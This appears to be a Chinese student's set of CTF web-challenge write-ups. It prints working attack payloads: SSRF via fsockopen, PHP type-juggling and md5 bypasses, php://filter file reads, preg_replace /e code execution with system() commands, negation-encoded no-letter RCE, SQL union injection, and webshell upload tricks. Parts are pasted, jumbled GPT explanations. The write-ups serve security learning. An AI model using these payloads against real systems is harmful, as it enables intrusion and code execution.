[LitCTF 2023]就当无事发生
没有环境
[MoeCTF 2022]ezhtml
在js代码找到了flag
[HNCTF 2022 WEEK2]ez_ssrf
题目描述说让我们访问index.php,看到了代码
传入的data会base64解码,传参port和host,还有一个没见过的函数fsockopen
查了一下
fsockopen函数可以被滥用来触发SSRF攻击,这是因为该函数允许从远程服务器上读取数据并与远程服务器建立连接。攻击者可以使用fsockopen函数来发送恶意请求,例如将远程服务器地址设置为攻击者控制的恶意服务器,然后尝试读取该服务器上的敏感数据或执行任意命令。
PHP的fsockopen函数详解-php教程-PHP中文网
详解PHP fsockopen的使用方法-CSDN博客
fsockopen()函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器简历tcp连接,传输数据。变量host为主机名,errstr表示错误信息将以字符串的信息返回,30为时限。
使用fsockopen方法和使用CURL方法的实质都是去模拟HTTP协议,所以重点在于如果去构造HTTP协议。
因此这道题就是利用fsockopen()函数来伪造http协议,然后再本地登录(127.0.0.1:80)就可以了
伪造http协议,得到base64编码
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
传参:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
得到flag
[SWPUCTF 2022 新生赛]funny_php
代码审计
<?php
如果参数的长度小于等于3且大于999999999
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){//echo ":D";
将参数中的
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);//str
NSSCTF
字符串替换为空字符串,并将结果赋值给变量$str
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
一共有三个绕过点
第一个是num的长度小于3,值要大于999999999,这里可以用数组绕过---num[]=1
第二个是正则匹配NSSCTF将其替换成空,这里可以利用双写绕过---str=NSSNSSCTFCTF
第三个是post传参md5_1,md5_2,这里有两种绕过方式,因为是md5弱比较所以可以用数组绕过----md5_1[]=1&md5_2[]=2,也可以利用科学计数法绕过----md5_1=QNKCDZO&md5_2=s878926199a
最后的payload:
get:?num[]=1&str=NSSCTFNSSCTF
post:md5_1[]=1&md5_2[]=2或者md5_1=QNKCDZO&md5_2=s878926199a
得到flag
[BJDCTF 2020]ZJCTF,不过如此
代码审计
gpt解释
error_reporting(0);
:禁用错误报告,以防止将错误信息显示在页面上。从GET参数中获取名为的值,并将其赋值给变量。
text
$text
从GET参数中获取名为的值,并将其赋值给变量。
file
$file
如果存在且使用函数读取文件的内容等于“I have a dream”,则执行if语句块中的代码。
$text
file_get_contents()
$text
file_get_contents($text, 'r')
:以只读模式读取文件内容。- 如果读取到的文件内容等于“我有一个梦想”,则执行下面的代码。
将读取到的文件内容包装在HTML的换行和标题标签中,并输出到页面上。
如果中含有“flag”字符串(使用正则表达式匹配),则执行if语句块中的代码。
$file
preg_match("/flag/", $file)
:使用正则表达式判断$file
中是否含有“flag”字符串。- 如果匹配成功,则执行下面的代码。
“现在不行!”并终止脚本的执行。
包含指定的文件(例如)。
$file
next.php
include($file)
:将指定的文件包含到当前文件中,执行其中的代码。$file
如果上述条件都不满足,则将当前文件的源代码以语法高亮的形式输出到页面上。
get方式传了一个text和file参数,判断text有没有以及text的值要等于I have a dream,上面成立就输出text的字符串
这里是利用file_get_contents()函数来读取文件,利用到两个伪协议,
一个是data伪协议,还有一个是filter伪协议,读取text文件也可以用input协议
file_get_contents(读取的文件,) 函数是用于将文件的内容读入到一个字符串中的首选方法。
php://input --访问原始数据的只读流,读取POST参数内容
简单来说就是当$_GET参数被包含时,并且我们可以自由控制$_GET参数的输入, 就能将$_POST 发送的代码执行
data://协议
与php://input 有很点相似的地方。他们都可以通过请求提交的php代码数据配合文件包含函数可以达到代码执行效果,data:// 的成功执行需要php.ini设置allow_url_include 与allow_url_open都为On。
data://协议的格式是: data://数据流封装器,相应格式数据常见用法
data://text/plain,<?php%20phpinfo();?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这道题我用的是data协议,input协议读不出来
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
来读取next.php页面的源码
对读取出来的base64编码进行解码,得到源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}function getFlag(){
@eval($_GET['cmd']);
}
gpt 解释
从GET参数中获取名为的值,并将其赋值给变量。
id
$id
将存储在中,用于后续的会话使用。
$id
$_SESSION['id']
定义了一个名为的函数,接受两个参数和。该函数使用函数,将匹配到的正则表达式模式
complex
$re
$str
preg_replace()
$re
在字符串$str
中的内容转换为小写。返回替换后的字符串。使用循环遍历数组中的参数。
foreach
$_GET
$re
是参数名,用于正则表达式模式。$str
是参数值,用于要进行替换的字符串。- 调用函数,将当前参数名和值作为参数传递,并打印替换后的结果。
complex()
定义了一个名为
getFlag()
的函数,没有任何参数。函数中使用eval()
函数执行了通过GET参数传递的cmd
参数的内容。这意味着,如果传递了cmd
参数,它将被当作PHP代码执行。这种使用eval()
函数来执行用户输入的代码是非常危险的,可能会导致代码注入和安全漏洞。
关键代码:
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
深入研究preg_replace与代码执行 - 先知社区
这里的\1是反向引用
反向引用是匹配正则表达式或者其他模式里面,()里面的被缓存存起来,用\加上数字来访问。
preg_replace()方法用/e修饰第一个参数就会导致第二个参数变成代码进行执行。 这个题目中允许用户控制的变量是 $re 和 $string 其实实质上是能控制三个。 然后是为什么要用.* 在正则表达式中.*表示能够匹配所有的表达式。而结合前面的反向引用,就可以使得在执行的时候preg_replace()能够把第二个参数里面的内容变成第三个参数。(因为第三个参数的内容被正则表达式.*匹配 到了就进入到了缓存里面这样用\1就可以读取到内容); 加{}的原因。 因为对于php只有双引号能够解析变量,而单引号不行,比如说 $a = 1; echo "$a";打印的是: 1 而不是$a 所以加上{}是用来解析变量的这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串,意味着就不会用任何字符串进行替换。(虽然这个题目用不到,但是这是个知识点)
对 $_GET as $re => $str 的理解:
这是一个动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str
【精选】BUUCTF[BJDCTF2020]ZJCTF,不过如此_DiliLearngent的博客-CSDN博客
这道题的知识点写的非常详细,我就不一一赘述了
payload:
?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('ls /');
?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');
发现是空的,访问一下phpinfo页面
?text=data://text/plain,I have a dream&file=next.php&\S*=${phpinfo()}
得到flag
[鹏城杯 2022]简单的php
给的标签是无字母rce
之前也处理过很多这种题型,异或,取反,自增,临时文件
关于php脚本运行生成文件:
之前的时候不知道要怎么搞,php脚本运行的需要的条件太多了,然后就处理不过来,后来才知道可以用phpstudy来运行脚本,建一个想要的运行脚本的目录,然后创建网站,就会生成一次php字典,再将它移到python脚本运行路径下就可以运行python脚本,实现rce异或
但是这道题用不了异或,因为他还过滤了数字没有过滤 ~
';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
[^\s\(\)]+?
表示不匹配所有空白符和()
一次或多次
\((?R)?\)
表示循环匹配()
一次或0次
那么这题的解法就属于无参数的取反RCE,并且需要二维数组绕过
这里推荐一篇大佬的博客
无参数RCE总结_get_defined_vars-CSDN博客
system(current(getallheaders()));利用二维数组进行拼接需要[!%FF]分割
[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
可以发现成功绕过了正则匹配
直接cat 得到flag
无参数rce归根到底就是函数的利用,然后进行取反操作,在进行命令执行就ok了
[NCTF 2018]滴!晨跑打卡
输入之后发现被限制,有过滤
发现注释了 空格 # - *
将注释全都过滤了,只能用单引号闭合
搜索时找到了题目的关键代码、
过滤了空格,我们可以使用%a0来进行绕过,但是进行注入的时候,怎么做都做不出来(利用别人的wp也是),可能是题目环境有问题,先做别的题
[MoeCTF 2022]what are y0u uploading?
就是一个文件上传
给提示说是双写后缀,上传shell.php,给的显示
先看看他的前端有没有限制,发现就是他的前端限制的,禁用js接着传
给显示文件上传类型错误
别说了,抓包吧,回显是:
文件上传成功!filename:shell.php<br>我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!
接着改 把shell改成f1lg发现得到了flag,跟双写没半点关系,就只有两个限制
[GXYCTF 2019]BabySqli
输入万能密码,发现被过滤了
在这个页面发现了一个base64编码,尝试解码
发现他是base32解码,然后转成了base64
知道了他的闭合语句条件
说明我们的username是需要爆破出来的, 但是这道题还没有那么麻烦,因为账号是admin,很好猜,下边的密码就要进行sql注入了
进行一下fuzz测试,通过看回显可以发现一些被过滤的字符串
看长度也是能看出来,像我的,439就是没被过滤的,443的就是被过滤的
一些被过滤的字符串:or,xor,(,),=,oorr,floor(),rand(),information_schema.tables,concat_ws(),order,CAST(),format,ord,for等
发现虽然order被禁了,还可以使用联合查询猜解字段数
注入: admin' union select 1,2 #
admin' union select 1,2,3 # ,发现页面回显变化,没报错,三个字段
然后猜解usernmae是第几个字段
1' union select 'admin',2,3 # ,发现不在第一个字段
1' union select 1,'admin',3 # 回显错误密码,说明是在第二个字段
但是它的密码我们却不知道,这时我们可以通过union来创建一个虚拟的数据,然后再通过SQL语句来查询它。这样它就能正常返回值了。比如:
BUUCTF之[GXYCTF2019]BabySQli_buuctf [gxyctf2019]babysqli_若丶时光破灭的博客-CSDN博客 引用的大佬的图
select * from users union select 1,'admin','your input password',4,5,6;
所以原题目的payload可以改成:
name=1' union select 1,'admin','123456' %23&pw=123456
发现还是不行,后来看大佬的wp才知道他的后端限制了密码要是md5加密的
所以payload是:
name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e' %23&pw=123456
得到了flag
也应该是 拓展的知识点
[MoeCTF 2021]Web安全入门指北—小饼干
他说你不是vip,他会把flag给vip
这题题目还有提示都是cooike,先抓个包看看
发现他的显示是vip=0
那把vip改成非空,vip=1 出现了flag
[MoeCTF 2021]2048
一道js分析题
之前做过类似的,其实就是找到关键代码,然后运行,就得到了flag
找到的关键代码--传参flag.php,然后score加上obj.score(应该是定义的一个函数)
感觉有用的一条就是这个 ,更新分数
那我们传一个很大的分数上去看看回显
发现直接得到了flag
[UUCTF 2022 新生赛]ez_upload
发现没有前端限制
继续往下走,上传一句话木马,只有这个,也没显示是哪里不行
那抓包,改文件类型,回显还是没变
还是不行,提示说是apache解析漏洞,上网搜一下
Apache解析漏洞:因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准),可用来绕过黑名单过滤。
【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx_中间件解析漏洞_像风一样9的博客-CSDN博客
那我们把马改成 shell.jpg.php
内容改成利用js标签的木马
发现上传成功
进行rce
得到flag